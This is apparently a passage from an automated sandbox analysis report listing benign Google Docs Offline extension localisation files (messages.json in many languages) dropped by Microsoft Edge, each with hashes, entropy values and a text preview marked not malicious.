Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
